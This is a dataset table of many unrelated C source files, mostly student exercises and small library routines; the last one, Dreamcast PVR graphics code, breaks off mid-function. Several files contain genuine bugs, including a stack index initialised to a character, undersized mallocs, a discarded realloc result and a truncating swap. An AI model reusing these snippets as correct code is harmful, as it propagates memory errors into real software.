language
large_stringclasses 1
value | text
stringlengths 9
2.95M
|
---|---|
C | #include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#define STACK_CAPACITY 2
#define N 5000
struct Stack {
char top;
unsigned capacity;
char* array;
};
struct Stack* createStack()
{
struct Stack* stack = (struct Stack*)malloc(sizeof(struct Stack));
stack->capacity = STACK_CAPACITY;
stack->top = '1';
stack->array = (char*)malloc(stack->capacity * sizeof(char));
return stack;
}
// deallocates the dynamic memory to prevent memory leak
void deallocStack(struct Stack* stack)
{
free(stack->array);
free(stack);
//printf("deallocated\n");
}
int isFull(struct Stack* stack)
{
return stack->top == stack->capacity - 1;
}
bool isEmpty(struct Stack* stack)
{
return stack->top == '1';
}
void resize(struct Stack* stack)
{
stack->capacity *= 2;
stack->array = (char*)realloc(stack->array,stack->capacity * sizeof(char));
// printf("stack reallocated, new length: %d\n",stack->capacity);
}
void push(struct Stack* stack, char item)
{
if (isFull(stack))
resize(stack);
stack->array[++stack->top] = item;
//printf("%d pushed to stack\n", item);
}
int pop(struct Stack* stack)
{
if (isEmpty(stack))
return INT_MIN;
return stack->array[stack->top--];
}
int peek(struct Stack* stack)
{
if (isEmpty(stack))
return INT_MIN;
return stack->array[stack->top];
}
//assuming opening bractes as (, {, [
bool isOpeningBracket(char br){
if(br == '(' || br == '{' || br == '['){
return true;
}else{
return false;
}
}
bool isAppropriate(char open, char close){
if(('(' == open && ')' == close) || ('{' == open && '}' == close) || ('[' == open && ']' == close)){
return true;
}else{
return false;
}
}
int main()
{
int len = 0, i;
bool isBalanced;
char str[N];
struct Stack* stack = createStack();
scanf("%s", str);
len = sizeof(str)/sizeof(char);
for(i = 0; i < len; i++){
if(str[i] == NULL) break;
}
len = i;
if(!(len & 1)){
for(i = 0; i < len; i++){
if(isOpeningBracket(str[i])){
push(stack, str[i]);
}
else if(isAppropriate(peek(stack), str[i])){
pop(stack);
}
else{
isBalanced = false;
printf("Not Balanced \n");
return 0;
}
}
//isEmpty(stack) ? isBalanced = true : isBalanced = false;
if(isEmpty(stack)){
isBalanced = true;
}else{
isBalanced = false;
}
}else{
isBalanced = false;
}
isBalanced ? printf("Balanced \n") : printf("Not Balanced \n");
deallocStack(stack);
return 0;
} |
C | //program to reverse a string
#include <stdio.h>
#include <string.h>
void reverse(char *s){
int i,j,c;
for(i=0,j=strlen(s)-1;i<j;i++,j--){
c = s[j];
s[j] = s[i];
s[i] = c;
}
}
int main(){
char s1[] = "ashok";
reverse(s1);
printf("%s",s1);
}
|
C | #include "lists.h"
/**
* insert_dnodeint_at_index - inserts a new node at a given position
* @h: points at beginning of linked list
* @idx: index at which to insert new node
* @n: data to be entered into new node
* Return: pointer to new node or NULL if it failed or
* if index idx does not exist
*/
dlistint_t *insert_dnodeint_at_index(dlistint_t **h, unsigned int idx, int n)
{
unsigned int i;
dlistint_t *new, *current = *h, *temp;
if ((idx > 0) && (current == NULL))
return (NULL);
new = malloc(sizeof(dlistint_t));
if (new == NULL)
return (NULL);
new->n = n;
if (idx == 0)
{
new->prev = NULL;
if (current == NULL)
new->next = NULL;
else
{
new->next = current;
current->prev = new; }
*h = new; }
else if (idx > 0)
{
for (i = 0; (i < idx) && (current->next); i++)
current = current->next;
if (i == idx)
{
temp = current->prev;
temp->next = new;
new->prev = temp;
new->next = current;
current->prev = new; }
else if ((i + 1) == idx)
{
current->next = new;
new->prev = current;
new->next = NULL; }
else
{
free(new);
return (NULL); } }
return (new); }
|
C | /*===========================================================================
a <- PCOEFF(A,i)
Polynomial coefficient.
Inputs
A : a polynomial in r variables, r >= 1;
i : a non-negative BETA-digit.
Output
a : the coefficient of x^i in A, where x is the main variable.
===========================================================================*/
#include "saclib.h"
Word PCOEFF(A,i)
Word A,i;
{
Word Ap,e,a;
Step1: /* A = 0. */
if (A == 0) {
a = 0;
goto Return; }
Step2: /* Search. */
Ap = A;
e = -1;
do {
e = PDEG(Ap);
if (e <= i)
goto Step3;
else
Ap = PRED(Ap); }
while (Ap != 0);
Step3: /* Pluck coefficient. */
if (e == i)
a = SECOND(Ap);
else
a = 0;
Return: /*Prepare for return. */
return(a);
}
|
C | //count the elemnts how many time present in array
void count(int[],int,int);
#include<stdio.h>
main()
{
int arr[50],i,size,elm;
printf("enter size of an array\n");
scanf("%d",&size);
printf("enter values in array\n");
for(i=0;i<size;i++)
{
scanf("%d",&arr[i]);
}
printf("enter element which you want to search\n");
scanf("%d",&elm);
count(arr,size,elm);
}
void count(int arr[],int size,int elm)
{
int i,c=0;
for(i=0;i<size;i++)
{
if(arr[i]==elm)
{
c++;
}
}
if(c==0)
{
printf("searching element is not found\n");
}
else
{
printf("element is present %d times\n",c);
}
}
|
C | //
// Created by Rob Edwards on 8/5/19.
// Test whether a file is gzip compressed and return 1 (true) for compressed and 0 (false) for uncompressed
//
#include <stdio.h>
#include <stdbool.h>
#include "is_gzipped.h"
bool test_gzip(char* filename) {
FILE *fileptr;
char buffer[2];
fileptr = fopen(filename, "rb");
fread(buffer, 2, 1, fileptr);
if ((buffer[0] == '\x1F') && (buffer[1] == '\x8B'))
return true;
return false;
}
|
C | /*
*
* Copyright (C) 2015-2016 Du Hui
*
*/
#include <stdio.h>
#include <string.h>
#include <time.h>
#include <stdlib.h>
#include "tag_list.h"
#include "log.h"
/*
void free_tag(tag_list * tl, int i) {
if (i < 0 || i > tl->size) {
return;
}
free(tl->tags[i].tag);
free(tl->tags[i].value);
if (i != tl->size - 1) {
tl->tags[i].tag = tl->tags[tl->size - 1].tag;
tl->tags[i].value = tl->tags[tl->size - 1].value;
}
tl->size--;
}*/
tag_list * create_tag_list() {
tag_list* tl = malloc(sizeof(tag_list));
tl->size = 0;
tl->capacity = 16;
tl->tags = malloc(sizeof(tag_value) * tl->capacity);
memset(tl->tags, 0, sizeof(tag_value) * tl->capacity);
return tl;
}
void tag_list_put(tag_list *tl, const char * tag, int tag_len, const char * value, int value_len) {
if (tl->capacity == tl->size) {
tl->capacity *= 2;
tag_value *p = realloc(tl->tags, sizeof(tag_value) * tl->capacity);
if (p == NULL) {
return;
}
}
tl->tags[tl->size].tag = strndup(tag, tag_len);
tl->tags[tl->size].value = strndup(value, value_len);
tl->size++;
}
char* tag_list_find(tag_list *tl, const char * tag) {
for (int i = 0; i < tl->size; i++) {
if (strcmp(tag, tl->tags[i].tag) == 0) {
return tl->tags[i].value;
}
}
return NULL;
}
void tag_list_destroy(tag_list *tl) {
if (tl == NULL) {
return;
}
for (int i = 0; i < tl->size; i++) {
free(tl->tags[i].tag);
free(tl->tags[i].value);
}
free(tl->tags);
free(tl);
}
|
C | #include <stdio.h>
#include <math.h>
#define N 4
void getdata(char* PC, char* PR)
{
int i = 0;
*(PR+1) = *(PC+1);
for (i = 2; i < N+1; i++)
{
*(PC + i ) = (*(PR+ i )) ^ (*(PC + i-1));
}
}
double data_del(char* PC)
{
int i = 0;
double ret = 0.0;
for (i = 1; i < N+1; i++)
{
ret =ret+ (*(PC + i)) * (pow(2.0, N - i));
}
return ret;
}
int main()
{
char c[N+1] = { 0 };
char r[N+1] = { 0 };
int i = 0;
double data;
double s = 360.0 / pow(2.0, N);
double a;
for (i = 1; i < N+1; i++)
{
printf("1Nλѭĵ%dλ\n",i);
scanf("%d", &r[i]);
}
getdata(c,r);
printf("ӦĶ");
for (i = 1; i < N + 1; i++)
{
printf("%d",c[i]);
}
data = data_del(c);
a = data*s;
printf("ǶΪ%lf", a);
return 0;
}
|
C | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* get_next_line.h :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: dfisher <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2019/07/20 19:13:47 by dfisher #+# #+# */
/* Updated: 2019/07/25 23:51:50 by dfisher ### ########.fr */
/* */
/* ************************************************************************** */
#ifndef FT_GET_NEXT_LINE_H
# define FT_GET_NEXT_LINE_H
# include <fcntl.h>
# include "libft/libft.h"
# define G_CHRS 0x01
# define G_TRIM 0x02
# define G_LIST 0x04
# define G_GREP 0x08
# define G_EXCL 0x10
/* STDARG.H*/
/* Assume: width of stack == width of int. */
#define STACK_WIDTH sizeof(int)
/* Round up object width so it's an even multiple of STACK_WIDTH.
Using AND for modulus here, so STACK_WIDTH must be a power of 2. */
#define TYPE_WIDTH(TYPE) \
((sizeof(TYPE) + STACK_WIDTH - 1) & ~(STACK_WIDTH - 1))
/* point the va_list pointer to LASTARG,
then advance beyond it to the first variable arg */
#define ft_va_start(PTR, LASTARG) \
PTR = (ft_va_list)((char *)&(LASTARG) + TYPE_WIDTH(LASTARG))
/* Increment the va_list pointer, then "return"
(evaluate to, actually) the previous value of the pointer. */
#define ft_va_arg(PTR, TYPE) ( \
PTR = (char *)(PTR) + TYPE_WIDTH(TYPE) \
, \
*((TYPE *)((char *)(PTR) - TYPE_WIDTH(TYPE))) \
)
#define ft_va_end(PTR) /* nothing */
typedef void *ft_va_list;
/*
** Get optimal buff_size running
** $> diskutil info / | grep "Block Size"
*/
#include <stdio.h>
# define BUFF_SIZE 4096
# define ENDL '\n'
/*
** Get max value of filedescriptor running
** $> launchctl limit maxfiles
** in bash
*/
# define MAX_FILDES 256
int get_next_line(const int fd, char **line);
#endif
|
C | #include <pebble.h>
#include "loading.h"
static Window *loading_window;
TextLayer *loading_text;
TextLayer *status_text;
char loading_status_buffer[32];
static void loading_window_load(Window *window) {
Layer *window_layer = window_get_root_layer(window);
GRect bounds = layer_get_bounds(window_layer);
loading_text = text_layer_create(GRect(0, bounds.size.h / 2 - 20, bounds.size.w, 34));
text_layer_set_text(loading_text, "Loading...");
text_layer_set_background_color(loading_text, GColorClear);
text_layer_set_text_color(loading_text, GColorBlack);
text_layer_set_font(loading_text, fonts_get_system_font(FONT_KEY_GOTHIC_28_BOLD));
text_layer_set_text_alignment(loading_text, GTextAlignmentCenter);
layer_add_child(window_layer, text_layer_get_layer(loading_text));
status_text = text_layer_create(GRect(0, bounds.size.h / 2 + 20, bounds.size.w, 34));
text_layer_set_background_color(status_text, GColorClear);
text_layer_set_text_color(status_text, GColorBlack);
text_layer_set_font(status_text, fonts_get_system_font(FONT_KEY_GOTHIC_14));
text_layer_set_text_alignment(status_text, GTextAlignmentCenter);
text_layer_set_text(status_text, loading_status_buffer);
layer_add_child(window_layer, text_layer_get_layer(status_text));
}
static void loading_window_unload(Window *window) {
text_layer_destroy(loading_text);
}
void loading_window_push() {
if(!loading_window) {
loading_window = window_create();
#ifdef PBL_COLOR
window_set_background_color(loading_window, LOADING_BG_COLOR);
#endif
window_set_window_handlers(loading_window, (WindowHandlers) {
.load = loading_window_load,
.unload = loading_window_unload,
});
}
window_stack_push(loading_window, true);
}
void loading_window_dirty() {
if (loading_window) {
layer_mark_dirty(window_get_root_layer(loading_window));
}
}
void loading_window_destroy() {
window_stack_remove(loading_window, false);
window_destroy(loading_window);
}
|
C | extern void __VERIFIER_error(void);
extern void __VERIFIER_assume(int);
void __VERIFIER_assert(int cond) {
if (!(cond)) {
ERROR: __VERIFIER_error();
}
return;
}
int __VERIFIER_nondet_int();
void main()
{
int i,h;
int x;
i=1;
h=1;
__VERIFIER_assume(x>=0);
while (i < x) {
h=2*h+1;
i=i+1;
}
__VERIFIER_assert(h==power(2,x)-1);
}
int power(int a,int b)
{
assume(a>=0 && b>=0);
if (a == 0 && b>0)
{ return 0;
}
else
{
if (b == 0)
{
return 1;
}
else
{
return power(a,b-1)*a;
}
}
} |
C | #include<stdio.h>
int main(void)
{
int number[5], sum=0;
for(int i=0;i<5;i++)
{
scanf("%d", &number[i]);
sum+=number[i]*number[i];
}
printf("%d\n", sum%10);
return 0;
}
|
C | #include <stdio.h>
#include <string.h>
int checkParadox(int n, int arr[n][2], int statements[n][2], int index, int truthValue){
if (arr[index][0] == 1) {
if (truthValue != arr[index][1]) {
return 1;
}
else{
return 0;
}
}
else{
arr[index][0] = 1;
arr[index][1] = truthValue;
if (truthValue == 1){
return checkParadox(n,arr,statements,statements[index][0],statements[index][1]);
}
else{
if (statements[index][1] == 1) {
return checkParadox(n,arr,statements,statements[index][0],0);
}
else{
return checkParadox(n,arr,statements,statements[index][0],1);
}
}
}
}
int remaining(int n, int arr[n][2]){
for (size_t i = 0; i < n; i++) {
if (arr[i][0] == 0) {
return i;
}
}
return -1;
}
int main(int argc, char const *argv[]) {
int n;
scanf("%d", &n);
while (n != 0) {
int statements[n][2];
int st;
char truth[10];
for (size_t i = 0; i < n; i++) {
scanf("%d %[^\n]s", &st, truth);
statements[i][0] = st-1;
if (strcmp(truth,"true") == 0) {
statements[i][1] = 1;
}
else{
statements[i][1] = 0;
}
}
int arr[n][2];
for (size_t i = 0; i < n; i++) {
arr[i][0] = 0; //visited
}
int paradoxFlag = 0;
int start = 0;
while (1) {
paradoxFlag = checkParadox(n, arr, statements, start, 1);
start = remaining(n,arr);
if (paradoxFlag == 1) {
printf("PARA\n");
break;
}
if (start == -1) {
printf("NOT PARA\n");
break;
}
}
scanf("%d", &n);
}
return 0;
}
|
C | #include "libft.h"
#include <stdlib.h>
t_list *ft_lstnew(void const *content, size_t content_size)
{
t_list *newl;
if (!(newl = (t_list *)malloc(sizeof(*newl))))
return (NULL);
if (content == NULL)
{
newl->content = NULL;
newl->content_size = 0;
}
else
{
if (!(newl->content = malloc(sizeof(content))))
{
ft_memdel((void*)&newl);
return (NULL);
}
ft_memcpy((newl->content), content, content_size);
newl->content_size = content_size;
}
newl->next = NULL;
return (newl);
}
|
C | /* Compiler: gcc */
/* CFLAGS=-Wall -xc -g */
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#define MAX_SIZE 100
void get(int **a, int **b);
void sort(int *a, int l);
void number(int **b);
void die(const char *message);
int main() {
int *a = NULL;
int *b = NULL;
get(&a, &b);
if (a == NULL) die("Memory error");
sort(a, *b);
printf("Sorted array of random numbers, marking even (0) and odd (1) numbers:\n");
for (int i = 0; i < *b;
printf("%d ", a[i++])) { }
printf("\n");
free(a);
free(b);
}
void sort(int *a, int l) {
for (int i = 0; i < l; ++i) {
for (int j = 0; j < l - 1; j++) {
if (a[1 + j] <= a[j]) {
char temp = a[j];
a[j] = a[j + 1];
a[j + 1] = temp;
}
}
}
}
void number(int **b) {
printf("Enter the size of an array\n");
while (1) {
printf("> ");
if ((scanf("%d", *b) == 1) && (**b <= MAX_SIZE) && (**b > 0) && (getchar() == '\n')) {
break;
} else {
printf("Size should be a positive integer, not exceeding the maximum size (100)\n");
while (getchar() != '\n');
}
}
}
void get(int **a, int **b) {
*b = malloc(sizeof(int));
if (b == NULL) die("Memory error");
number(b);
int i;
*a = (int *) malloc(**b * sizeof(int));
if (*a == NULL) die("Memory error");
for (i = 0; i < **b;) {
(*a)[i++] = rand() % 2;
}
}
void die(const char *message) {
if (errno) {
perror(message);
} else {
printf("ERROR: %s\n", message);
}
exit(1);
}
|
C | //
// Created by nik on 18.07.19.
//
#ifndef KICKASS_MATH_H
#define KICKASS_MATH_H
#define MIN(A, B) ((A) > (B) ? (B) : (A))
#define MAX(A, B) ((A) < (B) ? (B) : (A))
#define MEDIAN(A, B, C) (\
(A) > (B) \
? ( (B) > (C) ? (B) : MIN(A, C) ) \
: ( (B) < (C) ? (B) : MAX(A, C) ))
#define MAKE_MIN(A, B) A = MIN(A, B);
#define MAKE_MEDIAN(A, B, C) A = MEDIAN(A, B, C);
#endif //KICKASS_MATH_H
|
C | /*
* @Author: Cristi Cretan
* @Date: 27-04-2019 19:36:27
* @Last Modified by: Cristi Cretan
* @Last Modified time: 10-05-2019 16:51:30
*/
#ifndef __HELPERS_H__
#define __HELPERS_H__
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdbool.h>
#define MEMERROR "Memory was not correcly allocated.\n"
#define MAX 100001
#define CAP 4
#define resizeFactor 2
#define INF 0x3f3f3f3f
typedef struct actor
{
int id;
char *name;
} *Actor;
typedef struct pair
{
int node, cost;
} *Pair;
char *strdup(const char *c);
char *readActorLine(FILE *stream);
int myStrcmp(const void *a_pointer, const void *b_pointer);
int intCompare(const void *a_pointer, const void *b_pointer);
int pairCompare(const void *a_pointer, const void *b_pointer);
int min(int a, int b);
int *allocInt(int x);
Actor actorFromName(char *actorName);
int binarySearch(int *array, int left, int right, int key);
Actor freeActor(Actor actor);
Pair make_pair(int node, int cost);
#endif
|
C | #include <stdio.h>
typedef struct _building {
int room[3];
} building_t;
int build_room()
{
building_t mybu;
building_t *pb;
pb = &mybu;
pb->room[0] = 100;
pb->room[1] = 200;
pb->room[2] = 300;
printf("%d\n", mybu.room[0]);
printf("%d\n", mybu.room[1]);
printf("%d\n", mybu.room[2]);
return 0;
}
typedef struct _port_info {
int num;
int map[8];
} port_info;
port_info myport[] =
{
{1, {2}},
{1, {3}},
{1, {1}},
{1, {0}},
{4, {3, 2, 0, 1}},
{4, {2, 3, 1, 0}},
{2, {2, 3}},
{2, {1, 0}},
};
#define MY_PORT_NUM (sizeof(myport)/sizeof(port_info))
int port_mapping()
{
int i = 0;
int j = 0;
printf("port num: %d\n", (int)MY_PORT_NUM);
for (i = 0; i < MY_PORT_NUM; i++) {
printf("port%d, serdes num: %d\n", i, myport[i].num);
for (j = 0; j < myport[i].num; j++) {
printf(" lane %d\n", myport[i].map[j]);
}
}
return 0;
}
int main()
{
//build_room();
port_mapping();
return 0;
}
|
C | // __ __ __ ____ __ ____ ____ ____
// ( ) / \ / \( _ \( ) ( __)/ ___)/ ___)
// / (_/\( O )( O )) __// (_/\ ) _) \___ \\___ \
// \____/ \__/ \__/(__) \____/(____)(____/(____/
// ___ ____ __ _ ____ ____ __ ____ __ ____ __ ____
// / __)( __)( ( \( __)( _ \ / _\(_ _)/ \( _ \ / \( __)
// ( (_ \ ) _) / / ) _) ) // \ )( ( O )) / ( O )) _)
// \___/(____)\_)__)(____)(__\_)\_/\_/(__) \__/(__\_) \__/(__)
// ___ __ _ _ ____ __ __ _ __ ____ __ __ __ _ ____
// / __)/ \ ( \/ )( _ \( )( ( \ / _\(_ _)( )/ \ ( ( \/ ___)
// ( (__( O )/ \/ \ ) _ ( )( / // \ )( )(( O )/ /\___ \
// \___)\__/ \_)(_/(____/(__)\_)__)\_/\_/(__) (__)\__/ \_)__)(____/
// Loopless generation is a cool combinarial technique that
// allows us to generate a combinarial object in constant time (sic!).
//
// A book "Combinatorial Generation" by Frank Ruskey is a gentle introduction.
//
// So, imagine you want to generate all combinarial objects of
// certain kind. With loopless algorithm the overall complexity is
// linear with respect to the number of objects you need to
// generate. Note that it is very difficult to be faster, because
// even to write or print n objects you need O(n) seconds.
#include <stdlib.h>
#include <stdio.h>
#include <time.h>
#include <string.h>
typedef unsigned long long int Clique;
typedef unsigned short int Kvalue;
typedef unsigned int Node;
typedef struct {
Kvalue k;
Kvalue z;
Node n; //number of z-subcliques in a k-clique
Kvalue* tab;//all z-cliques
} combination;
Node binom (Kvalue n, Kvalue k) {
// Perhaps the simplest algo to compute a binomial coefficient !
// See D.E. Knuth, The Art of_Computer_Programming - Volume 1, 3rd ed, page 55
// It is ok for our purposes.
// Not factorial, but the overflow is still possible
// see https://stackoverflow.com/questions/1838368 for details
if (k > n) return 0;
if (k < n - k) k = n - k;
Node r = 1;
for (Node d = 1; d <= k; ++d) {
r *= n--;
r /= d;
}
return r;
}
void printBits(size_t const size, void const * const ptr)
{
// from https://stackoverflow.com/questions/111928/
unsigned char *b = (unsigned char*) ptr;
unsigned char byte;
int i, j;
for (i=size-1;i>=0;i--)
{
for (j=7;j>=0;j--)
{
byte = (b[i] >> j) & 1;
printf("%u", byte);
}
}
puts("");
}
// We need a bit per element + one additional bit. The following type
// is sufficient to store a combination (k,n) when n < 63.
typedef unsigned long long REG;
#define BITISET(var, position) ((var) & (1<<(position)))
void visit(REG bit_combination, Kvalue k, combination* combs) {
// printBits( sizeof(REG), &c);
Kvalue ki = 0;
Kvalue i = 0;
for (i = 0; (ki < k) && (i < sizeof(REG) * 8) ; i++) {
if ( BITISET(bit_combination, i) ) {
combs->tab [combs->n * k + ki] = i;
ki++;
}
}
combs->n++;
}
void the_coolest (REG n, Kvalue k, combination* combs) {
// See paper "The coolest way to generate combinations"
// written by Frank Ruskey and Aaron Williams
// Discrete Mathematics 309 (2009) 5305–5320
REG t = k;
REG s = n - t;
REG R0, R1, R2, R3, R4;
R1 = 0;
R2 = 1 << (s + t);
R3 = (1 << t) - 1;
while ( (R3 & R2) == 0 ) {
visit (R3, k, combs);
R0 = R3 & (R3 + 1);
R1 = R0 ^ (R0 - 1);
R0 = R1 + 1;
R1 = R1 & R3;
// saturating substraction. WHAAAT ???
R4 = (R0 & R3) - 1;
R4 &= -(R4 <= (R0 & R3));
R0 = R4;
R3 = R3 + R1 - R0;
}
}
// Here we generate all stuff and stock it into the memory. The
// coolest algorithm could easily be modified to generate combination
// à la volée without storing them or their number.
combination* gen_comb_coolest (Kvalue k, Kvalue z) {
combination* comb = malloc (sizeof (combination));
comb->k = k;
comb->z = z;
comb->n = 0;
comb->tab = malloc (binom(k, z) * z * sizeof (Kvalue));
the_coolest(k, z, comb);
return comb;
}
// Algorithm 5.7 from "Combinatorial Generation" book by Frank Ruskey
// We need some global vars
Kvalue* A = NULL;
short int J;
void next_comb() {
// Non loops (sic)!
if (J < 0) {
A[0] = A[0] - 1;
if (A[0] == 0) {
J = J + 2;
}
} else if (A[J+1] == A[J] + 1) {
A[J+1] = A[J];
A[J] = J;
if (A[J+1] == A[J] + 1) {
J = J + 2;
}
} else {
A[J] = A[J] + 1;
if (J > 0) {
A[J-1] = A[J] - 1;
J = J - 2;
}
}
}
// Here we generate all stuff and stock it into the memory. This
// algorithm could easily be modified to generate combinations à la
// volée without storing them or their number.
combination* gen_comb_algo57 (Kvalue k, Kvalue z) {
combination* comb = malloc (sizeof (combination));
comb->k = k;
comb->z = z;
comb->n = 0;
comb->tab = malloc (binom(k, z) * z * sizeof (Kvalue));
A = malloc (sizeof(Kvalue) * (z+1));
for (Kvalue i = 0; i < z; i++) {
A[i] = i;
}
A[z] = k;
J = z-1;
while (A[z] >= k) {
memcpy (comb->tab + (comb->n * comb->z), A, comb->z * sizeof (Kvalue));
next_comb ();
comb->n++;
}
free (A);
return comb;
}
///
/// OLD CODE
///
Clique fact(Clique n) {
if (n == 0 || n == 1)
return 1;
else
return n * fact(n - 1);
}
Node nchoosek(Kvalue n, Kvalue k){
return fact((Clique)n) / (fact((Clique)k) * fact((Clique)(n-k)));
}
void mkcomb_r(combination* comb, Node i, Node j) {
Kvalue k;
static Kvalue* data=NULL;
if (data==NULL){
data=malloc(comb->z*sizeof(Kvalue));
}
if (i == comb->z) {
for (k=0; k<comb->z; k++)
comb->tab[comb->n*comb->z+k]=data[k];
comb->n++;
return;
}
if (j >= comb->k)
return;
//j is included, put it and go next
data[i] = j;
mkcomb_r(comb, i + 1, j + 1);
//j is excluded, do not put it and go next
mkcomb_r(comb, i, j + 1);
}
combination* mkcomb(Kvalue k, Kvalue z){
combination *comb=malloc(sizeof(combination));
comb->k=k;
comb->z=z;
comb->n=0;
comb->tab=malloc(nchoosek(k,z)*z*sizeof(Kvalue));
mkcomb_r(comb, 0, 0);
return comb;
}
//
// END OF OLD CODE
//
void print_combinations (combination* comb) {
for (Node i = 0; i < comb->n; i++) {
for (Kvalue j = 0; j < comb->z; j++) {
printf("%d ",comb->tab [i * comb->z + j]);
}
printf("\n");
}
}
// Just a function to mesure time
clock_t GLOBAL_LAST_TIME = 0;
void lap () {
printf (" LAP TIME : %f \n",
(double)(clock() - GLOBAL_LAST_TIME) / CLOCKS_PER_SEC);
GLOBAL_LAST_TIME = clock();
}
int main (int argc, char** argv) {
if (argc < 3) {
printf ("Usage : %s n k\n Test it like %s 5 3", argv[0], argv[0]);
return 1;
}
// n is k
// k is z
// Easy ?
// Niet !
Kvalue k = atoi (argv [1]);
Kvalue z = atoi (argv [2]);
printf ("\n\n Count combinations, new vs old\n\n");
lap ();
printf ("Number of combinations (new method) : %d \n", binom (k, z));
lap ();
printf ("Number of combinations (old method) : %d \n", nchoosek (k, z));
lap ();
printf ("\n\n Generate combinations, new vs old \n\n");
printf ("\n****\n");
printf ("New, \"The coolest\" method\n");
printf ("Start generation\n");
lap();
combination* c = gen_comb_coolest (k, z);
// DEBUG
print_combinations (c);
printf ("End generation, %d generated \n", c->n);
lap ();
printf ("\n****\n");
printf ("New, Algorithm 5.7 method\n");
printf ("Start generation \n");
lap();
c = gen_comb_algo57 (k, z);
// DEBUG
print_combinations (c);
printf ("End generation, %d generated \n", c->n);
lap();
printf ("\n****\n");
printf ("Old method \n");
lap();
c = mkcomb (k, z);
// DEBUG
print_combinations (c);
printf ("End generation (old method), %d generated \n", c->n);
lap();
}
|
C | #include <kos.h>
#include <png/png.h> // For the png_to_texture function
#include <stdlib.h> // srand, rand
#include <time.h> // time
// Texture
pvr_ptr_t pic; // To store the image from pic.png
uint16_t dim = 8;
uint8_t hardware_crop_mode = 0; // 0 for no cropping, 2 for keep inside, 3 for keep outside
float *vals_x, *vals_y;
int num_sprites = 100;
// The boundries for TA clipping
// 160, 128, 480 and 352 in the end
int camera_clip_x1;
int camera_clip_y1;
int camera_clip_x2;
int camera_clip_y2;
// -------------------------------------------------
// Hardware cropping structs/functions
typedef struct ta_userclip_cmd{
int cmd;
int padding[3];
int minx;
int miny;
int maxx;
int maxy;
} ta_userclip_cmd_t;
void set_userclip(unsigned int minx, unsigned int miny, unsigned int maxx, unsigned int maxy){
ta_userclip_cmd_t clip;
// Check if the dimension values are correct
// Those "(blah & ((1 << 5) - 1)) != 0" are the equivalent of "blah % 32 != 0", but faster
if((minx & ((1 << 5) - 1)) != 0 || (miny & ((1 << 5) - 1)) != 0 || (maxx & ((1 << 5) - 1)) != 0 ||
(maxy & ((1 << 5) - 1)) != 0 || minx >= maxx || miny >= maxy || maxx > 1280 || maxy > 480){
return;
}
clip.cmd = PVR_CMD_USERCLIP;
clip.minx = minx >> 5;
clip.miny = miny >> 5;
clip.maxx = (maxx >> 5) - 1;
clip.maxy = (maxy >> 5) - 1;
// Send it to the TA
pvr_prim(&clip, sizeof(clip));
}
// -------------------------------------------------
// Init pic
void pic_init(){
pic = pvr_mem_malloc(dim * dim * 2);
png_to_texture("/rd/Insta.png", pic, PNG_NO_ALPHA);
}
void draw_pic(int x, int y, int z, float x_scale, float y_scale, uint8_t list_type){
pvr_poly_cxt_t cxt;
pvr_poly_hdr_t hdr;
pvr_vertex_t vert;
pvr_poly_cxt_txr(&cxt, PVR_LIST_OP_POLY, PVR_TXRFMT_RGB565, dim, dim, pic, PVR_FILTER_NONE);
// Hardware cropping stuff
// cxt.gen.shading = PVR_SHADE_FLAT; // Its PVR_SHADE_GOURAUD by default
cxt.gen.clip_mode = hardware_crop_mode; // Seems to be off by default
// cxt.blend.src = PVR_BLEND_SRCALPHA;
// cxt.blend.dst = PVR_BLEND_INVSRCALPHA;
pvr_poly_compile(&hdr, &cxt);
pvr_prim(&hdr, sizeof(hdr));
vert.argb = PVR_PACK_COLOR(1.0f, 1.0f, 1.0f, 1.0f);
vert.oargb = 0;
vert.flags = PVR_CMD_VERTEX;
// These define the verticies of the triangles "strips" (One triangle uses verticies of other triangle)
vert.x = x;
vert.y = y;
vert.z = z;
vert.u = 0.0;
vert.v = 0.0;
pvr_prim(&vert, sizeof(vert));
vert.x = x + (dim * x_scale);
vert.y = y;
vert.z = z;
vert.u = 1;
vert.v = 0.0;
pvr_prim(&vert, sizeof(vert));
vert.x = x;
vert.y = y + (dim * y_scale);
vert.z = z;
vert.u = 0.0;
vert.v = 1;
pvr_prim(&vert, sizeof(vert));
vert.x = x + (dim * x_scale);
vert.y = y + (dim * y_scale);
vert.z = z;
vert.u = 1;
vert.v = 1;
vert.flags = PVR_CMD_VERTEX_EOL;
pvr_prim(&vert, sizeof(vert));
}
void draw_untextured_poly(int x0, int y0, int x1, int y1, float r, float g, float b, uint8_t list_type){
int z = 1;
pvr_poly_cxt_t cxt;
pvr_poly_hdr_t hdr;
pvr_vertex_t vert;
pvr_poly_cxt_col(&cxt, list_type);
// Hardware cropping stuff
// cxt.gen.shading = PVR_SHADE_FLAT; // Its PVR_SHADE_GOURAUD by default
cxt.gen.clip_mode = hardware_crop_mode; // Seems to be off by default
// cxt.blend.src = PVR_BLEND_SRCALPHA; // If (list_type > PVR_LIST_OP_MOD) (AKA not an OP list of any kind) then
// These are the default, otherwise the defaults are PVR_BLEND_ONE and PVR_BLEND_ZERO
// cxt.blend.dst = PVR_BLEND_INVSRCALPHA;
pvr_poly_compile(&hdr, &cxt);
pvr_prim(&hdr, sizeof(hdr));
vert.argb = PVR_PACK_COLOR(1.0f, r, g, b);
vert.oargb = 0;
vert.flags = PVR_CMD_VERTEX;
// These define the verticies of the triangles "strips" (One triangle uses verticies of other triangle)
vert.x = x0;
vert.y = y0;
vert.z = z;
vert.u = 0.0;
vert.v = 0.0;
pvr_prim(&vert, sizeof(vert));
vert.x = x1;
vert.y = y0;
vert.z = z;
vert.u = 1;
vert.v = 0.0;
pvr_prim(&vert, sizeof(vert));
vert.x = x0;
vert.y = y1;
vert.z = z;
vert.u = 0.0;
vert.v = 1;
pvr_prim(&vert, sizeof(vert));
vert.x = x1;
vert.y = y1;
vert.z = z;
vert.u = 1;
vert.v = 1;
vert.flags = PVR_CMD_VERTEX_EOL;
pvr_prim(&vert, sizeof(vert));
}
// Draw one frame
void draw_frame(void){
int i;
pvr_wait_ready(); // Wait until the pvr system is ready to output again
pvr_scene_begin();
// NOTE. Doing any clips outside the lists just don't work. idk why
// set_userclip(0, 0, 640, 480);
pvr_list_begin(PVR_LIST_OP_POLY);
// Set the user/hardware clip
